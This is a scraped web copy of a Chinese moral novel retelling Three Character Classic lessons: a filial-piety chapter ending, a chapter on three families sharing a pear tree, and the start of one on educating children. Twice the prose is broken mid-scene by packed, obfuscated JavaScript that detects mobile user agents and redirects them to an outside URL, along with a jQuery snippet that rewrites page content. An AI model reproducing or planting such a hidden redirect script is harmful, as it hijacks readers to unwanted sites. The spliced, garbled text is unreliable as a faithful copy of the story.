王家的小栓学会了熬粥,学会了煎药,夜里还给爷爷焐脚。老王头咳得少了,脸上有了血色。他糊了个兔子灯,给小栓玩。小栓不要,说:“爷爷,等我长大了,赚钱给您买真的兔子。” 刘家的炕烧得热热的,刘二狗戒了赌,在码头找了份正经活。每天回来,先给爹熬药,再做饭。刘老栓能下炕了,扶着墙能走几步。他摸着儿子的头,说:“二狗啊,爹拖累你了。”刘二狗哭了,说:“爹,是儿子不孝。” 赵家的巧儿退了李掌柜的婚事,专心伺候娘。她手巧,接了些针线活,夜里就着油灯做。老赵婆子的腿有了知觉,能坐起来了。她摸着闺女的手,说:“巧儿,娘耽误你了。”巧儿摇头,说:“娘,咱娘俩在一块,比啥都强。” 这天傍晚,那个白衣人又来了青石巷。他没进任何一家,只坐在巷口的石碾子上,看着三家的烟囱冒出白生生的烟。 小栓第一个看见他,跑过来,把手炉递还给他:“先生,炭还有,还您。” 那人接过,摸摸他的头:“爷爷好些了?” “嗯!夜里不咳了!” 刘二狗也来了,递过一个布包,里面是三两银子:“先生,药钱还剩这些,还您。” 那人接过,掂了掂:“爹好些了?” “能下炕了!”刘二狗眼睛亮晶晶的。 巧儿也来了,递回那个小瓷瓶:“先生,药膏还剩半瓶,还您。” 那人接过,问:“娘好些了?” “腿有知觉了!”巧儿脸上有了笑模样。 那人点点头,把三样东西收好,起身要走。 “先生!”三人齐声喊。 那人回头。 “您……您到底是谁?”刘二狗问。 “过路的。” “那……那我们还能再见您么?” 那人想了想,从怀里掏出三个小小的、用红纸叠的“福”字,一人给了一个。 “等你们的孩子长大了,教他们‘香九龄,能温席’。等他们做到了,我再来收这个‘福’字。” 小栓问:“先生,您没孩子么?” 那人顿了顿,说:“有。天下人,都是我的孩子。” 说完,他走了。破毡帽在暮色里一晃一晃,渐渐看不见了。 三人捧着“福”字,你看我,我看你。 “我一定教我孩子。”小栓说。 “我也是。”刘二狗说。 “我也是。”巧儿说。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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没人回答。窗外飘起雪,雪花落在窗纸上,沙沙的。 忽然,门开了。 还是那顶破毡帽,那身洗得更灰的棉袍,那块麻布。只是背有点驼了,走路有点慢。 三人站起来,三个孩子也跟着站起来。 那人走到桌边,看着三个“福”字,点点头:“教得好。” 小栓深深一揖:“先生,当年教诲,不敢忘。” 刘二狗、巧儿也跟着行礼。 那人摆摆手,坐下,自己倒了杯酒:“说说,怎么教的。” 小栓先说:“我教念祖,孝顺不是嘴上说,是手上做。爷爷脚冷,他焐脚;爹娘累了,他捶背。九岁了,没让我们操过心。” 刘二狗说:“我教儿子,孝顺不是给钱,是陪着。我爹最后那两年,我天天陪他说话,给他洗脚。我儿子现在,每天放学回来,先给我倒茶。” 巧儿说:“我教诲亲,孝顺不是负担,是福气。我娘瘫了六年,我伺候了六年,不觉得苦,只觉得还能伺候娘,是福分。念亲现在,给我梳头,给我洗脚,说是‘报答娘的养育恩’。” 那人静静听着,等三人说完,又看向三个孩子。 “你们知道‘香九龄,能温席’的故事么?” 念祖抢着说:“知道!黄香九岁,冬天给爹娘暖被窝!” 刘二狗的儿子说:“先生教过,孝于亲,所当执。孝顺爹娘,是天经地义的。” 念亲小声说:“我娘说,孝顺是心里有爹娘,手里有行动。” 那人笑了,笑声很暖。 “好,好。”他说,从怀里掏出三个小小的、用金纸叠的“寿”字,一人给了一个,“这个,给你们的孩子。等他们有了孩子,教他们‘香九龄,能温席’。等教到了,我再来收。” 三人接过“寿”字,眼眶都湿了。 “先生……”小栓想问什么,又不知从何问起。 那人站起身,走到门口,回头。 “我走了。这‘福’字,我收了。” 他拿起三个褪色的“福”字,小心地揣进怀里,推门出去。雪下大了,他的背影在雪里渐渐模糊,最后变成一个灰点,消失在巷子尽头。 三人追出去,雪地上留下一串脚印,浅浅的,很快被新雪盖住了。 他们站在雪里,站了很久。念祖忽然说:“爹,那位老爷爷,是神仙么?” 小栓摸摸儿子的头:“是教人孝顺的人。” “那他还会来么?” “会。”小栓说,“等你的孩子长大了,孝顺你的时候,他还会来。” 雪越下越大,青石巷的青石上积了厚厚一层白,像铺了层暖和的棉被。 尾声温席谣 很多年后,青石巷改名叫“孝义巷”。巷子口立了块木牌,上面刻着两行字: 香九龄,能温席。孝于亲,所当执。 常有外乡人问:“这牌子谁立的?” 巷里的老人会说:“是三家苦命人立的。他们啊,年轻时不懂事,后来懂了,就立了这牌子。” “为的啥?” “为的让后来的孩子都懂——孝顺爹娘,天经地义。” 腊月里,巷子的孩子都会唱一首童谣: 青石巷,有三家, 王家刘家赵老家。 香九龄,能温席, 孝于亲,所当执。 小栓学孝焐爷脚, 二狗悔过孝爹亲。 巧儿回头孝瘫母, 三人皆从温席起。 若问先生何处去, 风雪夜里收福字。 有个游方的郎中路过,听了这童谣,去问灯笼店的老板——当年的小栓,如今也当爷爷了。 “老丈,这童谣里的先生,可是位神医?” 小栓正在扎一盏走马灯,闻言停下手,望着窗外的雪。 “是位教人暖和的人。”他说。 “暖和?” “嗯。”小栓说,“人心冷了,他给焐热;家里冷了,他给添柴;世道冷了,他给点亮一盏灯。” 郎中似懂非懂。临走时,小栓送了他一盏小灯笼,说:“路上黑,照着亮。” 郎中道了谢,提着灯笼走出巷子。灯笼光昏黄,在雪地上投下一圈暖晕。他回头,看见小栓还站在店门口,望着飘雪的天空。雪落在灯笼上,簌簌的,像谁在轻轻说话。 也许那位先生,正在某个风雪夜,收着另一些“福”字吧。郎中想。 他提了提灯笼,光更亮了。雪还在下,可心里,暖暖的。 本章诫世 一、 温席二训 - 香九龄,能温席 - 孝于亲,所当执 - 破解法:为人子女,自问“可曾温席?可曾暖亲?”;为人父母,自问“可曾教孝?可曾身教?” 二、 三家三寒 - 王家寒在“无知”——子不知孝,如冰坨冷心 - 刘家寒在“无行”——子不孝亲,如白眼寒心 - 赵家寒在“无心”——女不念亲,如攀枝离心 - 惕世:多少子女视亲为累?多少子女待亲如冰?多少子女离心离德?皆不孝也 三、 孝亲大道 - 深层隐喻:孝如炭火,可暖寒室。一室不暖,何以暖天下?一家不孝,何以孝天下? - 终极指向:治国平天下,在敦人伦。敦人伦,首在孝亲。亲不孝,则伦不敦;伦不敦,则天下乱 温席偈: 青石巷里三家寒,不孝不暖各凄然。 小栓不知孝爷亲,寒冬腊月不温席。 二狗不孝赌徒子,老爹病卧不顾问。 巧儿不念瘫母恩,只思攀枝弃娘亲。 三家寒透不自知,白衣点破温席理。 十年尽孝方知暖,三人皆从孝道起。 后世叹: 香九龄,能温席,孝于亲,所当执。 小栓不知孝爷亲,二狗不孝赌徒子。 巧儿不念瘫母恩,三家寒透各凄然。 白衣现身风雪夜,点破孝道十年暖。 正是: 市井巷陌三家寒,不孝不亲各凄然。 小栓不知孝爷亲,二狗不孝赌徒子。 巧儿不念瘫母恩,皆因不晓温席理。 白衣点破孝亲道,十年尽孝暖巷间。 香九龄兮能温席,孝于亲兮所当执。 89.让梨谳 楔子·三户争梨 东市有条甜水巷,巷口有口老井,井水甘甜,四邻都来汲水。井旁有棵歪脖子梨树,不知长了多少年,年年开花,岁岁结果,结的梨子又大又甜。 这树是巷里三户人家共有的——东头卖油的钱家,西头卖布的孙家,中间开茶馆的吴家。早些年三家处得好,梨熟了,你送我几个,我送你几个,倒也和睦。可自从老辈人过世,小辈掌了家,这梨树就成了祸根。 钱家的儿子钱串子,今年二十八,继承了油铺。人如其名,眼里只有钱串子。每年梨子将熟,他就搬个梯子,把向阳的、个大的梨子全摘了,留些青的、小的给那两家。孙家的儿子孙尺头,今年二十六,接了布庄。他是个“寸土不让”的主儿,见钱串子摘大梨,他就夜里偷偷上树,把剩下能看的梨也摘了。吴家的闺女吴茶香,今年二十四,爹死后接了茶馆。她倒不争梨,可架不住两个哥哥不省心——大哥吴大碗是衙门里的书办,二哥吴二勺是酒楼的掌勺,都是厉害角色。见两家欺负妹子,便放了话:“梨树是三家共有,谁敢独占,衙门里说话!” 于是每年秋天,甜水巷总要闹几场。今年更甚,梨子刚挂果,三家就吵开了。 钱串子说:“这树靠我家墙近,根在我家地里扎着,理当我家多分!” 孙尺头说:“放屁!树枝大半伸到我院里,果子该归我!” 吴茶香不吭声,她两个哥哥却卷了袖子。吴大碗说:“有文书为证,三分均分!”吴二勺说:“谁敢动我妹子的梨,我剁了他的手!” 这是天顺三年的七月,梨子还青着,可三家的火气,已经熟透了。 一、 钱家的“算盘精” 钱串子这日起了个大早,搬了梯子,拿着竹竿,想把伸到孙家院里的那枝梨树勾过来些。正勾着,墙头上坐了一人。 来人戴着一顶旧草帽,帽檐破了边。身上是件半旧不新的葛布短衫,洗得发白,袖口用布条扎着。腰里悬一柄木剑,剑柄磨得油亮。脸上蒙着块粗夏布,布是灰黄的,像是被日头晒褪了色。 “掌柜的,这么早,摘梨呢?”声音平平的,听不出年纪。 钱串子吓了一跳,差点从梯子上摔下来。定睛一看,是个生人,没好气道:“关你什么事?去去去!” 那人也不恼,从怀里掏出个梨——不是青的,是黄澄澄熟透的梨,有碗口大。 “我这儿有个梨,掌柜的看看,比你树上的如何?” 钱串子眼睛一亮:“嗬,好梨!哪儿来的?” “让来的。”那人说。 “让?谁让的?” “我有个朋友,他家也有棵梨树,比你这棵还大。每年结果,他摘最大的给邻居,次大的给路人,最小的留给自己。我问他为什么,他说——融四岁,能让梨。我三十多了,还不如个孩子么?” 钱串子嗤笑:“你朋友是个傻子!自家的梨,凭什么让给别人?” 那人咬了口梨,汁水淋漓:“那掌柜的,这梨树是你自家的么?” “这……”钱串子语塞。 “不是吧。”那人跳下墙头,走到树下,仰头看,“这树,钱家一份,孙家一份,吴家一份。你摘了大的,孙家摘了中的,吴家摘了小的——是不是这个理?” 钱串子脸一红:“你、你管得着么!” “我管不着。”那人把吃剩的梨核埋进土里,“可老天管得着。你看这梨树,为什么一年比一年结果少?因为它伤心了。” “树还会伤心?” “怎么不会?”那人拍拍树干,“它本想着,我好好结果子,让三家人都甜甜嘴。可你们呢?抢,偷,吵。它一想,算了,不结了,结多了反而生事。所以越结越少,越结越小。” 钱串子愣了愣,抬头看树。确实,往年这时候,梨子已经压弯了枝,今年却稀稀拉拉的。 “你胡扯!”他嘴硬。 “我胡扯?”那人笑了,“那你告诉我,为什么你爹在时,这树结的梨又多又甜?为什么你爹每年都先把最大最甜的梨,送给孙家吴家?” 钱串子不说话了。他记得,爹在时,每年梨熟,总要挑一篮最大的,让他送去孙家,再挑一篮,送去吴家。孙家回一匹布,吴家回一包茶。三家坐在井台上,分梨吃,说说笑笑。 “你爹说过一句话。”那人看着他,“梨是死的,人是活的。为了死的梨,伤了活的人,不值当。” 钱串子手里的竹竿,“当啷”掉在地上。 “融四岁,能让梨。悌于长,宜先知。”那人慢慢念出这两句,“意思是,孔融四岁就知道把大梨让给哥哥。敬爱兄长,友爱兄弟,这个道理,应该早早知道。” 他顿了顿:“你今年二十八了,还不如个四岁的孩子?” 钱串子脸上火辣辣的。 “梨,是吃的。情分,是一辈子的。”那人从怀里又掏出个梨,放在井台上,“这个给你。想想,是吃独食甜,还是分着吃甜。” 说完,他走了,草帽在晨光里一晃一晃。 钱串子站在树下,站了很久。太阳升起来,照在梨树上,青梨子泛着光。他忽然想起爹临终前的话:“串子啊,做人……别太算计。” 他弯腰捡起那个梨,黄澄澄的,真好看。 那天,钱串子没摘梨。他搬了把椅子,坐在树下,看了一天。 二、 孙家的“寸光眼” 孙尺头这日关了铺子,正在院里晾布。一匹匹青布、蓝布、花布,在夕阳下飘飘扬扬。他满意地看着,盘算着这匹卖多少钱,那匹换多少米。 忽然,一匹布后面钻出个人来。 还是那顶破草帽,那身葛布衫,那块灰黄的夏布蒙着脸。 “掌柜的,好手艺。”那人说。 孙尺头吓一跳,定睛一看,是个生人,皱眉道:“你是谁?怎么进来的?” “走进来的。”那人指了指院墙,“掌柜的,你这墙该修修了,有个窟窿。” 孙尺头脸一沉:“关你什么事?出去!” “不忙。”那人走到梨树下,仰头看,“这梨树,真精神。可惜啊,生了虫。” “生虫?”孙尺头忙过来看。 “你看这叶子,卷的;这枝子,枯的。”那人指指点点,“是心虫。心坏了,树就完了。” 孙尺头细看,果然,有几枝叶子卷曲发黄。他急了:“这可怎么好?我还指着今年多结几个梨,卖点钱呢!” “卖钱?”那人笑了,“掌柜的,这梨树,是你的么?” “当然……是三家共有的。” “三家共有,你却想着独卖,这心,是不是虫?” 孙尺头脸一红,强辩道:“我、我又没独吞!我只是……只是想多分点!” “多分点?”那人摇摇头,“融四岁,能让梨。你今年二十六了,还要跟四岁的孩子学么?” 孙尺头噎住了。 那人从怀里掏出个小布包,打开,是几颗梨核,已经发了芽,冒出小小的绿苗。 “这是我种的。”他说,“一棵梨树,种了三年,今年结了七个梨。我摘了,给邻居三个,给路人两个,自己留了两个。邻居回我一碗面,路人回我一句谢。我自己吃梨时,觉得特别甜。” 孙尺头愣愣地看着那几棵小苗。 “你知道为什么甜么?”那人问。 “……为什么?” “因为分着吃的梨,比独吞的甜。”那人把小苗递给他,“这几棵送你。种在院里,等结果了,分给钱家、吴家尝尝。” 孙尺头不接:“我、我凭什么给他们?” “凭这梨树是三家共有的,凭你们是几十年的老邻居,凭你爹和他爹、他爹一起栽的这棵树。”那人声音很平,但每个字都像锤子,敲在孙尺头心上。 孙尺头想起小时候。那时梨树还小,他爹和钱串子他爹、吴茶香他爹,三个老汉坐在树下,说这树是给他们三家的孩子栽的。“等树长大了,结果了,你们分着吃,永远别红脸。” 可后来,树长大了,他们却红脸了。 “你爹临走前,拉着你的手,说的什么?”那人忽然问。 孙尺头浑身一颤。爹说:“尺头啊,布要量着裁,人要让着处。尺,是量布的,也是量心的。” 他当时没懂,现在,好像懂了一点。 “融四岁,能让梨。悌于长,宜先知。”那人慢慢念,“敬爱兄长,友爱兄弟,这个道理,应该早早知道。你现在知道,也不晚。” 他把小苗塞进孙尺头手里,走了。 孙尺头捧着那几棵小苗,站在夕阳里。小苗嫩嫩的,绿绿的,像小时候,他、钱串子、吴茶香,三个孩子在树下玩泥巴。 那天夜里,孙尺头没睡好。他爬起来,点灯,修墙。不是补那个窟窿,是把墙头削矮了三尺。 三、 吴家的“护犊子” 吴茶香这日在茶馆抹桌子,两个哥哥又来了。吴大碗拍着桌子:“妹子你别怕!钱串子再敢偷梨,我去衙门告他!”吴二勺挥着勺子:“孙尺头再敢夜里摘,我剁了他的爪子!” 吴茶香叹气:“哥,算了吧。几个梨,值当么?” “怎么不值当?”吴大碗瞪眼,“那是咱家的梨!” “就是!”吴二勺附和,“欺负我妹子,就是欺负我!” 正吵着,门口进来一人。 还是那顶破草帽,那身葛布衫,那块灰黄的夏布。这次,他手里端着个茶碗。 “掌柜的,讨碗茶。”他说。 吴茶香忙去倒茶。吴大碗吴二勺瞪着这人,眼神不善。 那人接过茶,却不喝,看着吴大碗:“这位是吴书办吧?听说在衙门高就。” 吴大碗挺挺胸:“正是!” “那正好。”那人放下茶碗,“我有个案子,想请教吴书办。” “什么案子?” “三人共有一树,甲摘大梨,乙摘中梨,丙摘小梨。请问,这案子该怎么判?” 吴大碗一愣,随即道:“这有何难?按律,共有之物,当均分。甲多占,当罚;乙次之,当诫;丙吃亏,当补。” “判得好。”那人点头,“那若是甲、乙、丙三人,本是一起长大的邻居,父辈有交情,儿时有情分,这又该怎么判?” 吴大碗皱眉:“这与案情何干?” “怎么无干?”那人笑了笑,“法理不外乎人情。判案,不仅要合法,还要合情,合理。” 吴二勺插嘴:“你谁啊?在这胡扯!” 那人看向他:“这位是吴师傅吧?听说在酒楼掌勺。” “怎样?” “那我请教吴师傅,一锅汤,盐多了,怎么办?” “加水啊!” “水多了呢?” “加料啊!” “那若是盐也多了,水也多了,料也多了,一锅汤成了杂烩,怎么办?” 吴二勺语塞。 “倒掉重做。”那人自己答了,“可有些东西,倒掉了,就回不来了。比如情分。” 吴茶香手一颤,茶壶差点掉了。 “吴姑娘。”那人转向她,“你两个哥哥护着你,是好事。可护过头了,就成了祸事。” 吴茶香低头:“先生的意思是……” “梨是小事,情分是大事。”那人说,“为几个梨,坏了三家的情分,值么?你爹在时,和钱家孙家处得如何?” 吴茶香眼圈红了。爹在时,三家好得像一家。钱家送油,孙家送布,自家送茶。谁家有难,另两家都帮。爹走时,钱叔孙叔守了三天灵。 “融四岁,能让梨。悌于长,宜先知。”那人缓缓念出,“敬爱兄长,友爱兄弟,这个道理,应该早早知道。你们三家的孩子,本如兄弟姊妹。可现在呢?为几个梨,剑拔弩张。这是敬爱么?这是友爱么?” 吴大碗吴二勺不说话了。 “你两个哥哥护你,是怕你吃亏。可他们忘了,情分上吃亏,才是占便宜;钱财上占便宜,才是真吃亏。”那人从怀里掏出三个梨,黄澄澄的,一般大小,放在桌上。 “这三个梨,我匀过分,一样大。你们兄妹三人,分着吃。吃完想想,是甜在嘴里,还是甜在心里。” 他起身,走到门口,又回头:“吴姑娘,你是明白人。劝劝你哥哥,也劝劝自己。梨树还在,情分要是断了,就接不回来了。” 说完,走了。 吴茶香看着那三个梨,眼泪掉下来。吴大碗吴二勺你看看我,我看看你,都低下了头。 那天晚上,吴家兄妹三人,分吃了三个梨。很甜,甜到心里。 四、 甜水巷的秋 八月十五,中秋。梨子熟了,黄澄澄的挂满枝头。今年奇了,梨子格外多,格外大,把树枝都压弯了。 钱串子起了个大早,搬了梯子,拿着竹篮。孙尺头也起了个大早,搬了梯子,拿着竹篮。吴茶香也起了个大早,拿着竹篮。 三人在梨树下碰上了,都有些尴尬。 钱串子先开口:“今年……梨真多。” 孙尺头点头:“是啊,真多。” 吴茶香小声说:“两位哥哥,今年……还吵么?” 钱串子和孙尺头对看一眼,都笑了。 “不吵了。”钱串子说,“我摘些大的,给孙兄弟吴妹妹尝尝。” “我也摘些大的,给钱大哥吴妹妹尝尝。”孙尺头说。 吴茶香眼圈一红:“我、我摘些中的,给两位哥哥泡茶。” 三人笑了,笑着笑着,都擦了擦眼角。 他们一起摘梨,摘了三大篮。钱串子把最大最甜的挑出来,分成三份,一份给孙家,一份给吴家。孙尺头也把最大最甜的挑出来,分成三份,一份给钱家,一份给吴家。吴茶香把最好的茶叶拿出来,泡了三壶茶。 中午,三家聚在井台上。钱串子带了油饼,孙尺头带了糕点,吴茶香泡了茶。孩子们在树下追逐嬉戏,大人们分梨吃茶。 “这梨真甜。”钱串子说。 “是啊,从没吃过这么甜的梨。”孙尺头说。 “因为分着吃,所以甜。”吴茶香说。 正说着,那人来了。 还是那顶破草帽,那身葛布衫,那块灰黄的夏布。只是手里多了个竹篮,篮里是黄澄澄的梨。 “三位,分梨呢?”他笑。 三人忙站起来:“先生!” 那人摆摆手,坐下,自己拿了个梨,咬了一口:“嗯,是甜。” 钱串子说:“先生,多亏您点醒我们。” 孙尺头说:“是啊,不然我们还糊涂着呢。” 吴茶香说:“先生,喝茶。” 那人接过茶,喝了一口,点点头:“茶也好。”他看看三家的人,看看树上的梨,看看井台上的欢笑,说:“融四岁,能让梨。你们现在让的,不只是梨。” 三人肃然。 “让的是利,得的是和。让的是小,得的是大。”那人从怀里掏出三个小小的、用梨木刻的“和”字挂坠,一人给了一个。 “这个,给你们。挂在心上,挂在门上。记住,家和万事兴,邻和百事顺。” 三人接过,郑重地挂在脖子上。 “先生,”钱串子问,“您到底是谁?” “我?”那人想了想,“我是个过路的,看你们分梨,馋了,来讨个梨吃。” 三人都笑了。 那天,他们在井台坐到太阳西斜。梨树在夕阳下镀了一层金,梨子黄澄澄的,像一个个小太阳。 临走时,那人说:“这梨树,好好待它。它结的不是梨,是情分。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128630|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 三人重重点头。 那人走了,草帽在夕阳里晃啊晃,晃成一个小小的光点。 五、 十年后的“和”字 天顺十三年,中秋。甜水巷的梨树更粗了,枝叶如盖,遮了半条巷。 钱家的油铺扩大了三倍,钱串子成了钱掌柜,但他每天还是亲自打油。他的儿子钱小宝,今年九岁,每天最开心的事,就是给孙家吴家送油——孙家布庄的伙计穿的衣服,都是钱家油铺供的油点灯做的;吴家茶馆的桌子,都是钱家油铺的油擦亮的。 孙家的布庄开了分号,孙尺头成了孙老板,但他每天还是亲自量布。他的女儿孙小布,今年八岁,手巧,会绣花,绣的帕子送给钱家吴家的姑娘。钱家姑娘的头绳,吴家姑娘的荷包,都是她绣的。 吴家的茶馆变成了茶楼,吴茶香成了吴掌柜,但她每天还是亲自泡茶。她的养子吴小茶,今年十岁,懂事,每天给钱家孙家送新茶。钱掌柜算账时喝的茶,孙老板量布时喝的茶,都是他送的。 今年梨子又熟了,比往年更多。三家一起摘,摘了十大筐。钱串子说:“老规矩,分成三份,一家一份。”孙尺头说:“不,分成四份,多的一份,给巷里的孤寡老人。”吴茶香说:“好,我去送。” 他们正在分梨,巷子口来了个人。 还是那顶破草帽,只是更破了。还是那身葛布衫,只是补丁更多了。还是那块灰黄的夏布,只是洗得更薄了。腰间的木剑,柄磨得能照见人影。 三人看见,忙迎上去:“先生!” 那人笑了,笑声沙哑:“还认得我?” “认得!一辈子都认得!”钱串子说。 孙尺头说:“先生,吃梨!今年的梨,特别甜!” 吴茶香已经泡好了茶:“先生,喝茶。” 那人在井台边坐下,接过梨,接过茶,慢慢吃,慢慢喝。吃完了,喝完了,说:“甜。” 钱串子从怀里掏出那个梨木“和”字挂坠,已经戴得油亮:“先生,您看,我一直戴着。” 孙尺头、吴茶香也掏出来,三个“和”字,在阳光下闪着温润的光。 “戴得好。”那人点头,“和字在心上,万事和顺。” “先生,”钱串子问,“您这十年,去了哪儿?” “走了些地方,看了些人。”那人说,“有兄弟争产的,有邻里争地的,有朋友争利的。看得多了,就想,要是他们小时候学过‘融四岁,能让梨’,会不会就不争了?” 三人沉默。 “融四岁,能让梨。悌于长,宜先知。”那人缓缓念,“敬爱兄长,友爱兄弟,这个道理,应该早早知道。知道了,做到了,一家和,一巷和,一城和,天下和。” 他看着三个孩子——钱小宝、孙小布、吴小茶,正蹲在树下分梨。你让我,我让你,最后一人捧着一个,笑嘻嘻地啃。 “他们做到了。”吴茶香轻声说。 “是你们教得好。”那人说。 他从怀里掏出三个小小的、用梨核磨的“让”字珠子,用红绳串着,递给三个孩子。 “这个,戴着。等你们长大了,有了孩子,教他们‘融四岁,能让梨’。等他们做到了,我再来收。” 三个孩子恭恭敬敬接过,戴在脖子上。 “先生,”钱小宝大着胆子问,“您是谁啊?” 那人摸摸他的头:“我是个爱看人分梨的人。” “那……您还会来看我们分梨么?” “会。”那人站起身,“等这棵树老得结不动梨了,等你们的孩子的孩子,还在树下分梨的时候,我还会来。” 他走了,沿着甜水巷,慢慢地走。夕阳把他的影子拉得很长,长得像这十年的光阴。 三人送他到巷口,看着他消失在夕阳里。钱串子忽然说:“你们说,先生到底多大年纪了?” 孙尺头说:“看不出来。十年前就这样,十年后还这样。” 吴茶香说:“神仙都是这样的吧。” 他们回到井台,梨树在风里沙沙响,像在笑。 尾声让梨谣 很多年后,甜水巷改名叫“让梨巷”。巷子口的井台上,刻了十二个字: 融四岁,能让梨。悌于长,宜先知。 常有外乡人问:“这字谁刻的?” 巷里的老人会说:“是三家人刻的。他们啊,为梨吵过,后来不吵了,就和好了。” “为的啥?” “为的让后来的孩子都懂——兄弟让,邻里和。” 中秋夜,巷里的孩子都会唱一首童谣: 甜水巷,梨树青, 三家分梨闹不停。 钱串子,摘大梨, 孙尺头,夜里偷。 吴茶香,哥来护, 三家争吵不肯休。 白衣先生来点化, 融四岁,能让梨。 悌于长,宜先知, 三家让梨和如初。 有个游学的画师路过,听了这童谣,去问油铺的老掌柜——当年的钱串子,如今白发苍苍了。 “老丈,这童谣里的先生,可是位画中仙人?” 钱串子正在教孙子打算盘,闻言停下手,望着窗外的梨树。 “是位教人分梨的人。”他说。 “分梨?” “嗯。”钱串子说,“梨好分,心难让。他教人让心,心让了,梨就好分了。” 画师似懂非懂。临走时,钱串子送了他一壶油,说:“画画的,灯要亮。” 画师道了谢,提着油壶走出巷子。夕阳西下,梨树的影子斜斜地铺在青石路上,像一幅淡淡的水墨画。他回头,看见钱串子站在梨树下,仰头看着满树的梨。有风吹过,梨子轻轻晃动,像在点头。 也许那位先生,正在某个地方,看人们分梨吧。画师想。 他提起笔,在画板上勾勒。画一棵老梨树,树下三个人,三个孩子,在分梨。梨是黄的,人是笑的,天是蓝的。 画题就叫:《让梨图》。 本章诫世 一、 让梨二训 - 融四岁,能让梨 - 悌于长,宜先知 - 破解法:为人兄弟,自问“可曾让梨?可曾敬长?”;为人邻里,自问“可曾让利?可曾求和?” 二、 三家三争 - 钱家争在“贪利”——见利忘义,独占为先 - 孙家争在“暗算”——暗中算计,寸土不让 - 吴家争在“恃强”——恃兄逞强,以势压人 - 惕世:多少兄弟因利成仇?多少邻里因小生隙?多少情分为利所断?皆不让也 三、 悌长大道 - 深层隐喻:悌如梨实,愈分愈甜。一梨不让,何以让天下?一利必争,何以平天下? - 终极指向:治国平天下,在敦和睦。敦和睦,首在悌长。长不悌,则家不和;家不和,则国不宁 让梨偈: 甜水巷里三家争,为梨吵闹不肯停。 钱家贪利摘大梨,孙家暗算夜里偷。 吴家恃强兄护短,三家争吵无休止。 白衣现身点迷津,融四岁能让梨兮。 悌于长宜先知兮,三家让梨和如初。 后世叹: 融四岁,能让梨,悌于长,宜先知。 钱家贪利忘旧谊,孙家暗算失本心。 吴家恃强伤和气,三家争梨各逞强。 白衣点破让梨理,十年和睦甜如梨。 正是: 市井巷陌三家争,为梨失和闹不停。 钱贪孙算吴恃强,皆因不晓让梨理。 白衣点破悌长道,十年让梨巷更甜。 融四岁兮能让梨,悌于长兮宜先知。 90.数文谳 楔子·三家教子 江南水乡有处芙蓉镇,镇子不大,一条小河穿镇而过,两岸皆是人家的后窗,推窗可见乌篷船悠悠摇过。河上有三座石桥,恰将镇子分作三段:东桥头是算盘李家,西桥头是书篓王家,中间是笔架张家。 这三家,是镇上最有名的“教子”人家。 李家世代做账房,算盘打得噼啪响。当家的李金斗,四十出头,打得一手好算盘,人称“铁算盘”。他教子,只教算数:“学那些劳什子诗文有何用?能当饭吃?学好算数,将来接我的班,给人管账,银子哗哗来!”儿子李算盘,十岁,九九表倒背如流,可让他背《千字文》,磕磕巴巴像嘴里含了枣。 王家世代卖书,满屋书香。当家的王墨林,是个老秀才,考了三十年没中举,索性开了书铺。他教子,只教诗文:“万般皆下品,惟有读书高!算数?那是商贾小道!吾儿当读圣贤书,将来金榜题名,光宗耀祖!”儿子王文昌,十一岁,《论语》倒背如流,可让他算个油盐账,十个手指头不够用。 张家世代开裱画店,当家的张云鹤,是个雅人,能画两笔写意,能弹半曲琵琶。他教子,只教雅艺:“算数俗,诗文腐!吾儿当学琴棋书画,做个风雅之士!”儿子张雅风,十二岁,能画兰草,能弹《梅花三弄》,可让他写个借据,提笔忘字;让他算个工钱,一脸茫然。 这是天启七年的春日,三家孩子都在自家铺子里“用功”。 李算盘在背“一归如一进,见一进成十”,小脸皱成一团。 王文昌在念“大学之道,在明明德”,摇头晃脑。 张雅风在画墨竹,笔尖颤颤巍巍。 三个孩子偶尔在桥头相遇,你看我打算盘,我看你念书,他看他画画,都觉得对方奇怪,又有些羡慕。 一、 算盘李家的“铁算盘” 这日,李金斗正在铺子里教儿子打算盘。铺子临河,窗外就是东桥,桥上人来人往。李金斗把算盘拨得山响:“看好了!三下五除二,四下五去一——这生意经,都在算珠里!” 李算盘苦着小脸,手指头笨拙地拨着。 这时,铺子里进来一人。来人戴着一顶竹篾斗笠,斗笠边已经破损,用麻线粗糙地缝了几针。身上是件半旧的靛蓝短褂,洗得发白,袖口高高挽起,露出精瘦的小臂。腰上用草绳系着,绳上挂一柄木剑,剑身满是摩挲的痕迹。脸上蒙着一方粗葛布,布是灰扑扑的,沾着些路上的尘土。 “掌柜的,讨碗水。”声音有些沙哑,像是长途跋涉而来。 李金斗抬眼一瞥,见是个行脚的,不耐地摆摆手:“水缸在墙角,自己舀。” 那人也不恼,走到水缸边,用葫芦瓢舀了半瓢水,慢慢喝了。喝罢,也不走,站在那儿看李算盘打算盘。 “小兄弟,今年几岁?” 李算盘抬头:“十岁。” “十岁,打得一手好算盘。”那人点点头,“将来是要接你爹的班,做个账房先生?” 李金斗插嘴:“那是自然!学好算数,走遍天下都不怕!” 那人问:“只学算数么?” “不然学什么?”李金斗拨着算盘,“诗文能当饭吃?雅艺能当衣穿?我李家世代账房,就靠这手算盘吃饭!” 那人沉默片刻,走到柜台前,从怀里掏出三枚铜钱,一字排开。 “掌柜的,我出个题。这三文钱,若每日生出三文,十日后,共有多少?” 李金斗嗤笑:“这有何难?三文,每日翻一番,十日便是……”他手指飞快拨动算珠,“三零七二文!” “错了。”那人说。 “错了?”李金斗瞪眼,“怎会错!三文,第一日六文,第二日十二文,第三日二十四文……第十日,正是三零七二文!” 那人摇头:“钱不会生钱,除非是放贷。放贷取利,是为不仁。我且问你,这三文钱,若第一日你给路边的乞丐,第二日乞丐用它买了馒头,馒头铺的掌柜用它买了布,布铺的掌柜用它买了米——十日流转,这三文钱,救了几个人?” 李金斗愣住了。 